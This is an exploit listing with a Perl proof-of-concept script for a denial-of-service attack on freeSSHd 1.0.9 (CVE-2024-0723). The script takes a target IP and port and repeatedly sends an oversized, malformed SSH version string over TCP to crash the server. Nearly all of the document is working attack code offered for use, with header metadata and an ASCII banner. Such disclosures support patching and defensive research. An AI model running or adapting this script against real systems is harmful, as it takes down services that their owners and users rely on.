# Exploit Title: freeSSHd 1.0.9 - Denial of Service (DoS) # Date: 2024-01-13 # Discovery by: Fernando Mengali # Linkedin: https://www.linkedin.com/in/fernando-mengali/ # Software Link: https://www.exploit-db.com/apps/be82447d556d60db55053d658b4822a8-freeSSHd.exe # Version: 1.0.9 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Tested on: Windows XP - SP3 - English # CVE: CVE-2024-0723 use IO::Socket; #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $bufff = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"x18; my $payload = "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" . "\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde".("A" x 1067); $payload .= $payload; $payload .= "C" x 19021 . "\r\n"; my $i=0; while ($i<=18) { my $sock = IO::Socket::INET->new( PeerAddr => $ip, PeerPort => $port, Proto => 'tcp' ) or die "Cannot connect!\n"; if (<$sock> eq '') { print "[+] Done - Exploited success!!!!!\n\n"; exit; } $sock->send($payload) or die "Exploited successuful!!!"; $i++; } sub intro { print q { _/| // o\ || ._) //__\ )___( [+] freeSSHd 1.0.9 - Denial of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: [email protected] } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } }